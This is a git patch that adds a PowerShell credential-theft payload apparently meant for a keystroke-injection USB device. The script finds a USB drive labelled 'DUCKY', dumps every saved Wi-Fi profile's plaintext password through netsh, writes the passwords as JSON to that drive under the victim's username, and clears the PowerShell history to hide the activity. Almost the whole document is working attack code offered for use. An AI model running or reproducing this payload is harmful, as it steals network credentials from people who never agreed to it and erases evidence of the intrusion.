From a1a7310d61de2a8eb77925cf819303d7a966010f Mon Sep 17 00:00:00 2001 From: Yeet <89109233+yeetboy0330@users.noreply.github.com> Date: Fri, 23 Aug 2024 10:11:24 +1000 Subject: [PATCH] Added 1.ps1 file this file borrows and stores the wifi passwords. --- .../credentials/Local_WLAN_Borrower/1.ps1 | 49 +++++++++++++++++++ 1 file changed, 49 insertions(+) create mode 100644 payloads/library/credentials/Local_WLAN_Borrower/1.ps1 diff --git a/payloads/library/credentials/Local_WLAN_Borrower/1.ps1 b/payloads/library/credentials/Local_WLAN_Borrower/1.ps1 new file mode 100644 index 0000000..f637d65 --- /dev/null +++ b/payloads/library/credentials/Local_WLAN_Borrower/1.ps1 @@ -0,0 +1,49 @@ +# Define the volume label you're looking for +$targetLabel = "DUCKY" + +# Find the drive letter of the USB drive with the specified label +$volume = Get-Volume | Where-Object { $_.FileSystemLabel -eq $targetLabel } + +if ($volume) { + $driveLetter = $volume.DriveLetter + ":\" + $usbPath = "$driveLetter$env:username.txt" + $baseDestinationDir = $driveLetter + Write-Output "Drive letter found: $driveLetter" +} else { + Write-Error "Drive with label '$targetLabel' not found." + exit +} + +# Initialize an array to store all Wi-Fi profiles and their passwords +$wifiData = @() + +# Get all Wi-Fi profiles +$profiles = netsh wlan show profile | Select-String '(?<=All User Profile\s+:\s).+' + +foreach ($profile in $profiles) { + $wlan = $profile.Matches.Value.Trim() + + # Get the password for the current Wi-Fi profile + $passw = netsh wlan show profile $wlan key=clear | Select-String '(?<=Key Content\s+:\s).+' + $password = if ($passw) { $passw.Matches.Value.Trim() } else { "No Password Found" } + + # Create a custom object with the profile and password information + $wifiData += [PSCustomObject]@{ + Username = $env:username + Profile = $wlan + Password = $password + } +} + +# Convert the array of Wi-Fi data to JSON +$jsonBody = $wifiData | ConvertTo-Json -Depth 3 + +# Save the JSON data to a file on the USB drive +$jsonBody | Out-File -FilePath $usbPath -Encoding UTF8 + + + +# Clear the PowerShell command history +Clear-History + +exit